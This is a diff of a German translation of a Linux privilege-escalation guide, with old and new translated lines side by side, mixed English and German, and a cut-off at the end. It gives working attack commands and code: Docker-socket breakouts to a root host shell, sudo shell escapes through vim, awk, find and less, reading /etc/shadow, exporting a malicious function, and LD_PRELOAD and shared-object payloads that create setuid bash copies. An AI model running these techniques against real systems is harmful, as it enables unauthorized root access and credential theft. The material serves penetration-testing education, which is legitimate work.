`ListenUSBFunction`: Diese Optionen unterscheiden sich, aber zusammenfassend werden sie verwendet, um **anzugeben, wo auf das Socket gehört werden soll** (der Pfad der AF_UNIX-Socket-Datei, die IPv4/6- und/oder Portnummer, auf die gehört werden soll, usw.). -- `Accept`: Nimmt ein boolesches Argument. Wenn **true**, wird für jede eingehende Verbindung eine **Service-Instanz gestartet** und nur das Verbindungssocket an diese weitergereicht. Wenn **false**, werden alle Listening-Sockets selbst an die gestartete Service-Unit **übergeben**, und es wird nur eine Service-Unit für alle Verbindungen gestartet. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, wo eine einzige Service-Unit bedingungslos allen eingehenden Verkehr behandelt. **Defaults to false**. Aus Performance-Gründen wird empfohlen, neue Daemons so zu schreiben, dass sie für `Accept=no` geeignet sind. -- `ExecStartPre`, `ExecStartPost`: Nimmt eine oder mehrere Kommandozeilen entgegen, die **ausgeführt werden bevor** bzw. **nachdem** die Listening-**sockets**/FIFOs **erstellt** und gebunden werden. Das erste Token der Kommandozeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess. -- `ExecStopPre`, `ExecStopPost`: Zusätzliche **Befehle**, die **ausgeführt werden bevor** bzw. **nachdem** die Listening-**sockets**/FIFOs **geschlossen** und entfernt werden. -- `Service`: Gibt den Namen der **Service**-Unit an, die bei **eingehendem Traffic** **aktiviert** werden soll. Diese Einstellung ist nur für Sockets mit Accept=no erlaubt. Sie standardisiert auf den Service mit demselben Namen wie das Socket (mit ersetzter Suffix). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Diese Optionen unterscheiden sich, aber zusammenfassend dienen sie dazu, **anzugeben, wo auf den Socket gehört werden soll** (der Pfad der AF_UNIX-Socket-Datei, die IPv4/6-Adresse und/oder Portnummer, auf die gehört wird, usw.) +- `Accept`: nimmt ein boolesches Argument. Wenn **true**, wird für jede eingehende Verbindung eine **Service-Instanz gestartet** und nur das Verbindungssocket an diese übergeben. Wenn **false**, werden alle Listening-Sockets selbst an die gestartete Service-Unit **übergeben**, und es wird nur eine Service-Unit für alle Verbindungen gestartet. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, wo eine einzelne Service-Unit bedingungslos den gesamten eingehenden Traffic verarbeitet. **Standardmäßig false**. Aus Performance-Gründen wird empfohlen, neue Daemons so zu schreiben, dass sie für `Accept=no` geeignet sind. +- `ExecStartPre`, `ExecStartPost`: nehmen eine oder mehrere Befehlszeilen, die jeweils **ausgeführt werden, bevor** bzw. **nachdem** die Listening-**sockets**/FIFOs **erstellt** und gebunden werden. Das erste Token der Befehlszeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess. +- `ExecStopPre`, `ExecStopPost`: zusätzliche **Befehle**, die jeweils **ausgeführt werden, bevor** bzw. **nachdem** die Listening-**sockets**/FIFOs **geschlossen** und entfernt werden. +- `Service`: gibt den Namen der **Service**-Unit an, die bei **eingehendem Traffic** **aktiviert** werden soll. Diese Einstellung ist nur für Sockets mit Accept=no erlaubt. Standardmäßig ist es die Service-Unit mit demselben Namen wie das Socket (mit ersetztem Suffix). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden. ### Writable .socket files -Wenn du eine **writable** `.socket`-Datei findest, kannst du **am Anfang** des `[Socket]`-Abschnitts etwas wie `ExecStartPre=/home/kali/sys/backdoor` hinzufügen und die backdoor wird ausgeführt, bevor das Socket erstellt wird. Daher wirst du **wahrscheinlich warten müssen, bis die Maschine neu gestartet wird.**\ +Wenn du eine **beschreibbare** `.socket`-Datei findest, kannst du am Anfang des `[Socket]`-Abschnitts etwas wie `ExecStartPre=/home/kali/sys/backdoor` **hinzufügen** und die Backdoor wird ausgeführt, bevor das Socket erstellt wird. Daher musst du **wahrscheinlich warten, bis die Maschine neu gebootet wird.**\ _Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### Writable sockets -Wenn du **ein beschreibbares Socket** identifizierst (_hier sprechen wir jetzt von Unix Sockets und nicht von den Konfig-`.socket`-Dateien_), dann **kannst du mit diesem Socket kommunizieren** und möglicherweise eine Vulnerability exploit'en. +Wenn du ein **beschreibbares socket** identifizierst (_jetzt sprechen wir von Unix Sockets und nicht von den Konfigurations-`.socket`-Dateien_), dann **kannst du mit diesem Socket kommunizieren** und möglicherweise eine Schwachstelle ausnutzen. -### Enumerate Unix Sockets +### Auflisten von Unix Sockets ```bash netstat -a -p --unix ``` @@ -483,30 +484,30 @@ socket-command-injection.md ### HTTP sockets -Beachte, dass es einige **sockets gibt, die auf HTTP-Anfragen lauschen** (_ich spreche nicht von .socket-Dateien, sondern von Dateien, die als unix sockets fungieren_). Du kannst das mit folgendem Befehl überprüfen: +Beachte, dass es möglicherweise einige **sockets gibt, die auf HTTP-Anfragen lauschen** (_ich rede nicht von .socket files, sondern von Dateien, die als unix sockets fungieren_). Das kannst du mit folgendem Befehl prüfen: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Wenn der Socket **auf eine HTTP-Anfrage antwortet**, kannst du mit ihm **kommunizieren** und vielleicht **exploit some vulnerability**. +Wenn der Socket auf eine **HTTP**-Anfrage antwortet, kannst du mit ihm **kommunizieren** und vielleicht **exploit some vulnerability**. ### Schreibbarer Docker Socket -Der Docker Socket, oft zu finden unter `/var/run/docker.sock`, ist eine kritische Datei, die gesichert werden sollte. Standardmäßig ist er für den Benutzer `root` und Mitglieder der `docker`-Gruppe schreibbar. Schreibzugriff auf diesen Socket kann zu Privilege Escalation führen. Im Folgenden eine Aufschlüsselung, wie das gemacht werden kann, sowie alternative Methoden, falls die Docker CLI nicht verfügbar ist. +Der Docker-Socket, oft zu finden unter `/var/run/docker.sock`, ist eine kritische Datei, die abgesichert werden sollte. Standardmäßig ist er für den `root`-Benutzer und Mitglieder der `docker`-Gruppe schreibbar. Schreibzugriff auf diesen Socket kann zu privilege escalation führen. Nachfolgend eine Aufschlüsselung, wie das durchgeführt werden kann und alternative Methoden, falls die Docker CLI nicht verfügbar ist. #### **Privilege Escalation with Docker CLI** -Wenn du Schreibzugriff auf den Docker Socket hast, kannst du escalate privileges mit den folgenden Befehlen: +Wenn du Schreibzugriff auf den Docker-Socket hast, kannst du escalate privileges mit den folgenden Befehlen durchführen: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Diese Befehle erlauben es, einen Container mit root-Zugriff auf das Dateisystem des Hosts auszuführen. +Diese Befehle erlauben es dir, einen Container mit root-Zugriff auf das Dateisystem des Hosts auszuführen. -#### **Direkte Verwendung der Docker API** +#### **Docker API direkt verwenden** -In Fällen, in denen die Docker CLI nicht verfügbar ist, kann der Docker-Socket weiterhin über die Docker API und `curl`-Befehle manipuliert werden. +Falls die Docker CLI nicht verfügbar ist, kann der Docker-Socket weiterhin über die Docker API und `curl`-Befehle manipuliert werden. -1. **List Docker Images:** Rufe die Liste der verfügbaren Images ab. +1. **List Docker Images:** Retrieve the list of available images. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json @@ -524,7 +525,7 @@ Starte den neu erstellten Container: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Verwende `socat`, um eine Verbindung zum Container herzustellen und darin Befehle auszuführen. +3. **Attach to the Container:** Verwende `socat`, um eine Verbindung zum Container herzustellen, die die Ausführung von Befehlen darin ermöglicht. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -534,11 +535,11 @@ Connection: Upgrade Upgrade: tcp ``` -Nachdem die `socat`-Verbindung hergestellt ist, kannst du Befehle direkt im Container ausführen und hast dabei root-Zugriff auf das Dateisystem des Hosts. +Nachdem die `socat`-Verbindung aufgebaut ist, kannst du Befehle direkt im Container ausführen und hast root-Zugriff auf das Dateisystem des Hosts. -### Weitere +### Andere -Beachte, dass wenn du Schreibrechte auf dem docker-Socket hast, weil du **inside the group `docker`** bist, du [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Wenn die [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising), kannst du diese ebenfalls kompromittieren. +Beachte, dass wenn du Schreibrechte am docker socket hast, weil du **inside the group `docker`** bist, du [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Wenn die [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). Check **more ways to break out from docker or abuse it to escalate privileges** in: @@ -549,7 +550,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: +Wenn du den **`ctr`**-Befehl verwenden kannst, lies die folgende Seite, da **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -558,7 +559,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: +Wenn du den **`runc`**-Befehl verwenden kannst, lies die folgende Seite, da **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -567,15 +568,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus ist ein ausgefeiltes Interprozess-Kommunikationssystem (IPC), das Anwendungen ermöglicht, effizient zu interagieren und Daten auszutauschen. Für moderne Linux-Systeme konzipiert bietet es ein robustes Framework für verschiedene Formen der Anwendungs-Kommunikation. +D-Bus ist ein ausgereiftes **inter-Process Communication (IPC) system**, das Anwendungen ermöglicht, effizient zu interagieren und Daten zu teilen. Für moderne Linux-Systeme konzipiert, bietet es ein robustes Framework für verschiedene Formen der Anwendungskommunikation. -Das System ist vielseitig einsetzbar: Es unterstützt grundlegende IPC, die den Datenaustausch zwischen Prozessen verbessert, ähnlich wie **enhanced UNIX domain sockets**. Außerdem unterstützt es das Broadcasten von Events oder Signalen und ermöglicht eine nahtlose Integration von Systemkomponenten. Beispielsweise kann ein Signal eines Bluetooth-Daemons über einen eingehenden Anruf einen Musikplayer stummschalten. Zusätzlich unterstützt D-Bus ein Remote-Object-System, das Service-Anfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und bisher komplexe Abläufe erleichtert. +Das System ist vielseitig: Es unterstützt grundlegende IPC, die den Datenaustausch zwischen Prozessen verbessert, ähnlich erweiterten UNIX domain sockets. Außerdem ermöglicht es das Senden von Events oder Signalen, was eine nahtlose Integration der Systemkomponenten fördert. Beispielsweise kann ein Signal eines Bluetooth-Daemons über einen eingehenden Anruf einen Musikplayer stummschalten und so das Nutzererlebnis verbessern. Zusätzlich unterstützt D-Bus ein remote object system, das Service-Anfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und zuvor komplexe Abläufe vereinfacht. -D-Bus arbeitet nach einem **allow/deny model** und verwaltet Nachrichtenberechtigungen (Methodenaufrufe, Signal-Emissionen usw.) basierend auf dem kumulativen Effekt übereinstimmender Policy-Regeln. Diese Policies legen fest, welche Interaktionen mit dem Bus erlaubt sind und können potenziell zu privilege escalation führen, wenn diese Berechtigungen ausgenutzt werden. +D-Bus arbeitet nach einem **allow/deny model**, das Nachrichtenberechtigungen (Methodenaufrufe, Signalübertragungen, usw.) basierend auf der kumulativen Wirkung passender Policy-Regeln verwaltet. Diese Policies legen fest, wie mit dem Bus interagiert werden darf und können potentiell zu privilege escalation führen, wenn diese Berechtigungen ausgenutzt werden. -Ein Beispiel für eine solche Policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` wird gezeigt und beschreibt Berechtigungen, die dem root-Benutzer erlauben, `fi.w1.wpa_supplicant1` zu besitzen, an es zu senden und Nachrichten von ihm zu empfangen. +Ein Beispiel für eine solche Policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` wird gezeigt und listet die Berechtigungen für den root-Benutzer auf, um `fi.w1.wpa_supplicant1` zu besitzen, an sie zu senden und Nachrichten von ihr zu empfangen. -Policies ohne angegebenen Benutzer oder Gruppe gelten universal, während "default" Kontext-Policies für alle gelten, die nicht durch andere spezifische Policies abgedeckt sind. +Policies ohne spezifizierten Benutzer oder Gruppe gelten universell, während "default"-Kontext-Policies für alle gelten, die nicht durch andere spezifische Policies abgedeckt sind. ```xml @@ -584,7 +585,7 @@ Policies ohne angegebenen Benutzer oder Gruppe gelten universal, während "defau ``` -**Erfahre hier, wie man eine D-Bus-Kommunikation enumeriert und ausnutzt:** +**Lerne hier, wie du eine D-Bus communication enumerate und exploit kannst:** {{#ref}} @@ -593,9 +594,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Netzwerk** -Es ist immer interessant, das Netzwerk zu erkunden und die Position der Maschine zu bestimmen. +Es ist immer interessant, das Netzwerk zu enumerate und die Position der Maschine herauszufinden. -### Generische Enumeration +### Generische enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -620,22 +621,22 @@ lsof -i ``` ### Offene Ports -Überprüfe immer die auf dem System laufenden Netzwerkdienste, mit denen du vor dem Zugriff nicht interagieren konntest: +Überprüfe immer Netzwerkdienste, die auf der Maschine laufen und mit denen du vor dem Zugriff nicht interagieren konntest: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Prüfe, ob du traffic sniffen kannst. Wenn ja, könntest du einige credentials abgreifen. +Prüfe, ob du traffic sniffen kannst. Wenn ja, könntest du einige credentials abfangen. ``` timeout 1 tcpdump ``` ## Benutzer -### Allgemeine Enumeration +### Generic Enumeration -Überprüfe **wer** du bist, welche **Privilegien** du hast, welche **Benutzer** sich im System befinden, welche sich **einloggen** können und welche **root-Privilegien** haben: +Prüfe **who** du bist, welche **privileges** du hast, welche **users** in den Systemen vorhanden sind, welche sich **login** können und welche **root privileges** haben: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -657,23 +658,23 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### Große UID Einige Linux-Versionen waren von einem Bug betroffen, der Benutzern mit **UID > INT_MAX** erlaubt, Privilegien zu eskalieren. Mehr Infos: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Ausnutzen** mit: **`systemd-run -t /bin/bash`** +**Exploit it** using: **`systemd-run -t /bin/bash`** ### Gruppen -Prüfe, ob du **Mitglied einer Gruppe** bist, die dir root privileges gewähren könnte: +Prüfe, ob du Mitglied einer **Gruppe** bist, die dir root-Privilegien gewähren könnte: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Clipboard +### Zwischenablage -Prüfe, ob sich (falls möglich) etwas Interessantes in der Zwischenablage befindet +Prüfe, ob sich (falls möglich) etwas Interessantes in der Zwischenablage befindet. ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -690,27 +691,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Bekannte Passwörter -Wenn du **ein Passwort** der Umgebung kennst, **versuche dich mit diesem Passwort als jeden Benutzer anzumelden**. +Wenn du ein Passwort der Umgebung kennst, versuche dich mit diesem Passwort als jeden Benutzer einzuloggen. ### Su Brute -Wenn es dir nichts ausmacht, viel Lärm zu verursachen, und die `su`- und `timeout`-Binaries auf dem Rechner vorhanden sind, kannst du versuchen, Benutzer mit [su-bruteforce](https://github.com/carlospolop/su-bruteforce) zu brute-forcen.\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) versucht mit dem `-a`-Parameter ebenfalls, Benutzer per Brute-Force anzugreifen. +Wenn es dir nichts ausmacht, viel Lärm zu verursachen, und die Binärdateien `su` und `timeout` auf dem Rechner vorhanden sind, kannst du versuchen, Benutzer mit [su-bruteforce](https://github.com/carlospolop/su-bruteforce) zu brute-forcen.\ +Auch [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) versucht mit dem Parameter `-a`, Benutzer zu brute-forcen. -## Missbrauch schreibbarer $PATHs +## Missbrauch beschreibbarer $PATHs ### $PATH -Wenn du feststellst, dass du **in einen Ordner des $PATH schreiben kannst**, kannst du möglicherweise Privilegien eskalieren, indem du **eine backdoor in dem schreibbaren Ordner erstellst** mit dem Namen eines Befehls, der von einem anderen Benutzer (idealerweise root) ausgeführt wird und **nicht aus einem Verzeichnis geladen wird, das in $PATH vor deinem schreibbaren Ordner liegt**. +Wenn du feststellst, dass du in einen Ordner des $PATH schreiben kannst, könntest du Privilegien eskalieren, indem du eine backdoor in dem beschreibbaren Ordner erstellst, die den Namen eines Befehls trägt, der von einem anderen Benutzer (idealerweise root) ausgeführt wird und nicht aus einem Verzeichnis geladen wird, das vor deinem beschreibbaren Ordner im $PATH steht. ### SUDO and SUID -Du könntest berechtigt sein, einen Befehl mit sudo auszuführen, oder dieser könnte das suid-Bit gesetzt haben. Überprüfe das mit: +Du könntest berechtigt sein, einen Befehl mit sudo auszuführen, oder die Datei könnte das suid-Bit gesetzt haben. Prüfe das mit: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Einige **unerwartete Befehle ermöglichen es Ihnen, Dateien zu lesen und/oder zu schreiben oder sogar einen Befehl auszuführen.** Zum Beispiel: +Einige **unerwartete Befehle erlauben es, Dateien zu lesen und/oder zu schreiben oder sogar einen Befehl auszuführen.** Zum Beispiel: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -721,31 +722,31 @@ less>! ``` ### NOPASSWD -Die Sudo-Konfiguration kann einem user erlauben, einen command mit den Rechten eines anderen users auszuführen, ohne das password zu kennen. +Die Sudo-Konfiguration kann einem Benutzer erlauben, einen Befehl mit den Rechten eines anderen Benutzers auszuführen, ohne dessen Passwort zu kennen. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -In diesem Beispiel kann der Benutzer `demo` `vim` als `root` ausführen; es ist nun trivial, eine shell zu erhalten, indem man einen ssh key in das root-Verzeichnis hinzufügt oder `sh` aufruft. +In diesem Beispiel kann der Benutzer `demo` `vim` als `root` ausführen; es ist nun trivial, eine Shell zu erhalten, indem man einen ssh key in das root-Verzeichnis hinzufügt oder `sh` aufruft. ``` sudo vim -c '!sh' ``` ### SETENV -Diese Direktive erlaubt dem Benutzer, **eine environment variable zu setzen**, während etwas ausgeführt wird: +Diese Direktive erlaubt dem Benutzer, **eine Umgebungsvariable zu setzen**, während er etwas ausführt: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Dieses Beispiel, **basierend auf der HTB machine Admirer**, war **anfällig** für **PYTHONPATH hijacking**, um eine beliebige python-Bibliothek zu laden, während das Skript als root ausgeführt wurde: +Dieses Beispiel, **basierend auf der HTB-Maschine Admirer**, war **anfällig** für **PYTHONPATH hijacking**, um beim Ausführen des Skripts als root eine beliebige python library zu laden: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo: Pfade zur Umgehung der Ausführung +### Sudo-Ausführung: Pfade umgehen -**Springe** um andere Dateien zu lesen oder benutze **symlinks**. Zum Beispiel in der sudoers-Datei: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Springe** um andere Dateien zu lesen oder **symlinks** zu verwenden. Zum Beispiel in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -762,43 +763,43 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **Gegenmaßnahmen**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary ohne Befehlspfad +### Sudo command/SUID binary ohne Pfad zum Befehl -Wenn die **sudo-Berechtigung** für einen einzelnen Befehl **ohne Angabe des Pfads** vergeben ist: _hacker10 ALL= (root) less_ kann man dies ausnutzen, indem man die PATH-Variable ändert. +Wenn die **sudo-Berechtigung** für ein einzelnes Kommando **ohne Angabe des Pfades** vergeben ist: _hacker10 ALL= (root) less_ kann man dies ausnutzen, indem man die PATH-Variable ändert. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Diese Technik kann auch verwendet werden, wenn ein **suid** binary **einen anderen Befehl ausführt, ohne den Pfad anzugeben (prüfe immer mit** _**strings**_ **den Inhalt einer merkwürdigen SUID binary)**. +Diese Technik kann auch verwendet werden, wenn ein **suid** binary **einen anderen Befehl ausführt, ohne dessen Pfad anzugeben (prüfe immer mit** _**strings**_ **den Inhalt einer seltsamen SUID binary)**. [Payload examples to execute.](payloads-to-execute.md) -### SUID binary mit angegebenem Befehls-Pfad +### SUID binary with command path -Wenn die **suid** binary **einen anderen Befehl ausführt und dabei den Pfad angibt**, kannst du versuchen, **eine Funktion zu exportieren**, die den Namen des Befehls trägt, den die suid file aufruft. +If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling. -Zum Beispiel: Wenn ein suid binary _**/usr/sbin/service apache2 start**_ aufruft, musst du versuchen, die Funktion zu erstellen und zu exportieren: +For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Wenn Sie dann das suid-Binary aufrufen, wird diese Funktion ausgeführt +Wenn Sie dann das suid binary aufrufen, wird diese Funktion ausgeführt ### LD_PRELOAD & **LD_LIBRARY_PATH** -Die Umgebungsvariable **LD_PRELOAD** wird verwendet, um eine oder mehrere shared libraries (.so-Dateien) anzugeben, die vom Loader vor allen anderen geladen werden sollen, einschließlich der Standard-C-Bibliothek (`libc.so`). Dieser Vorgang ist als Preloading einer Bibliothek bekannt. +Die Umgebungsvariable **LD_PRELOAD** wird verwendet, um eine oder mehrere Shared Libraries (.so-Dateien) anzugeben, die vom Loader vor allen anderen geladen werden sollen, einschließlich der Standard-C-Bibliothek (`libc.so`). Dieser Vorgang wird als Preloading einer Library bezeichnet. -Um jedoch die Systemsicherheit zu gewährleisten und zu verhindern, dass diese Funktion missbraucht wird, insbesondere bei suid/sgid-Executables, erzwingt das System bestimmte Bedingungen: +Um jedoch die Systemsicherheit zu gewährleisten und zu verhindern, dass diese Funktion, insbesondere bei **suid/sgid**-Executables, ausgenutzt wird, erzwingt das System bestimmte Bedingungen: - Der Loader ignoriert **LD_PRELOAD** für Executables, bei denen die real user ID (_ruid_) nicht mit der effective user ID (_euid_) übereinstimmt. -- Bei Executables mit suid/sgid werden nur Bibliotheken aus Standardpfaden vorab geladen, die ebenfalls suid/sgid sind. +- Bei Executables mit suid/sgid werden nur Bibliotheken aus Standardpfaden vorgeladen, die ebenfalls suid/sgid sind. -Privilege escalation kann auftreten, wenn Sie die Möglichkeit haben, Befehle mit `sudo` auszuführen und die Ausgabe von `sudo -l` die Anweisung **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration erlaubt es, dass die Umgebungsvariable **LD_PRELOAD** auch beim Ausführen von Befehlen mit `sudo` erhalten bleibt und erkannt wird, was potenziell zur Ausführung von beliebigem Code mit erhöhten Rechten führen kann. +Privilege escalation kann auftreten, wenn Sie die Möglichkeit haben, Befehle mit `sudo` auszuführen, und die Ausgabe von `sudo -l` die Anweisung **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration erlaubt es, dass die Umgebungsvariable **LD_PRELOAD** beibehalten und auch bei Ausführung von Befehlen mit `sudo` erkannt wird, was potenziell zur Ausführung beliebigen Code mit erhöhten Rechten führen kann. ``` Defaults env_keep += LD_PRELOAD ``` -Speichere als **/tmp/pe.c** +Speichern als **/tmp/pe.c** ```c #include #include @@ -821,7 +822,7 @@ Schließlich **escalate privileges** ausführen sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Eine ähnliche privesc kann ausgenutzt werden, wenn der Angreifer die **LD_LIBRARY_PATH** Umgebungsvariable kontrolliert, da er den Pfad kontrolliert, in dem Bibliotheken gesucht werden. +> Ein ähnlicher privesc kann ausgenutzt werden, wenn der Angreifer die Umgebungsvariable **LD_LIBRARY_PATH** kontrolliert, da er damit den Pfad bestimmt, in dem Bibliotheken gesucht werden. ```c #include #include @@ -843,13 +844,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Wenn man auf ein binary mit **SUID**-Rechten stößt, das ungewöhnlich erscheint, ist es gute Praxis zu überprüfen, ob es **.so**-Dateien korrekt lädt. Das lässt sich überprüfen, indem man folgenden Befehl ausführt: +Wenn Sie auf ein binary mit **SUID**-Rechten stoßen, das ungewöhnlich erscheint, ist es gute Praxis zu prüfen, ob es **.so**-Dateien korrekt lädt. Dies kann überprüft werden, indem Sie den folgenden Befehl ausführen: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Wenn man beispielsweise auf einen Fehler wie _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ stößt, deutet das auf einen möglichen Exploit hin. +Zum Beispiel deutet das Auftreten eines Fehlers wie _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ auf ein mögliches Exploit hin. -Um dies zu exploit, erstellt man eine C-Datei, z. B. _"/path/to/.config/libcalc.c"_, die folgenden Code enthält: +Um dies auszunutzen, legt man eine C-Datei an, z. B. _"/path/to/.config/libcalc.c"_, die den folgenden Code enthält: ```c #include #include @@ -860,13 +861,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Dieser Code zielt, einmal kompiliert und ausgeführt, darauf ab, Privilegien zu eskalieren, indem Dateiberechtigungen manipuliert und eine Shell mit erhöhten Rechten gestartet wird. +Dieser Code versucht, nach dem Kompilieren und Ausführen, Privilegien zu erlangen, indem er Dateiberechtigungen manipuliert und eine Shell mit erhöhten Rechten startet. -Kompiliere die obige C-Datei in eine shared object (.so) Datei mit: +Kompiliere die obige C-Datei in eine Shared-Object (.so)-Datei mit: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Schließlich sollte das Ausführen der betroffenen SUID binary den Exploit auslösen und eine mögliche Kompromittierung des Systems ermöglichen. +Schließlich sollte das Ausführen der betroffenen SUID binary den exploit auslösen und eine potenzielle Kompromittierung des Systems ermöglichen. ## Shared Object Hijacking ```bash @@ -878,7 +879,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Da wir nun ein SUID binary gefunden haben, das eine library aus einem Verzeichnis lädt, in das wir schreiben können, erstellen wir die library in diesem Verzeichnis mit dem notwendigen Namen: +Da wir nun eine SUID binary gefunden haben, die eine library aus einem Verzeichnis lädt, in das wir schreiben können, erstellen wir die library in diesem Verzeichnis mit dem notwendigen Namen: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -891,17 +892,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Wenn Sie einen Fehler wie den folgenden erhalten: +Wenn Sie einen Fehler wie zum Beispiel erhalten ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -das bedeutet, dass die Bibliothek, die du erzeugt hast, eine Funktion namens `a_function_name` haben muss. +Das bedeutet, dass die Bibliothek, die du erstellt hast, eine Funktion namens `a_function_name` enthalten muss. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) ist eine kuratierte Liste von Unix-Binaries, die von einem Angreifer ausgenutzt werden können, um lokale Sicherheitsbeschränkungen zu umgehen. [**GTFOArgs**](https://gtfoargs.github.io/) ist dasselbe, aber für Fälle, in denen du in einem Befehl **nur Argumente injizieren** kannst. +[**GTFOBins**](https://gtfobins.github.io) ist eine kuratierte Liste von Unix-Binaries, die ein Angreifer ausnutzen kann, um lokale Sicherheitsbeschränkungen zu umgehen. [**GTFOArgs**](https://gtfoargs.github.io/) ist dasselbe, aber für Fälle, in denen du **nur Argumente injizieren** kannst. -Das Projekt sammelt legitime Funktionen von Unix-Binaries, die missbraucht werden können, um eingeschränkte Shells zu verlassen, Privilegien zu eskalieren oder beizubehalten, Dateien zu übertragen, bind and reverse shells zu starten und andere Post-Exploitation-Aufgaben zu erleichtern. +Das Projekt sammelt legitime Funktionen von Unix-Binaries, die missbraucht werden können, um aus eingeschränkten Shells auszubrechen, Privilegien zu eskalieren oder beizubehalten, Dateien zu übertragen, bind- und reverse-shells zu starten und andere Post-Exploitation-Aufgaben zu erleichtern. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -920,60 +921,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -Wenn du `sudo -l` ausführen kannst, kannst du das Tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) verwenden, um zu prüfen, ob es einen Weg findet, eine sudo-Regel auszunutzen. +Wenn du Zugriff auf `sudo -l` hast, kannst du das Tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) verwenden, um zu prüfen, ob es herausfindet, wie eine 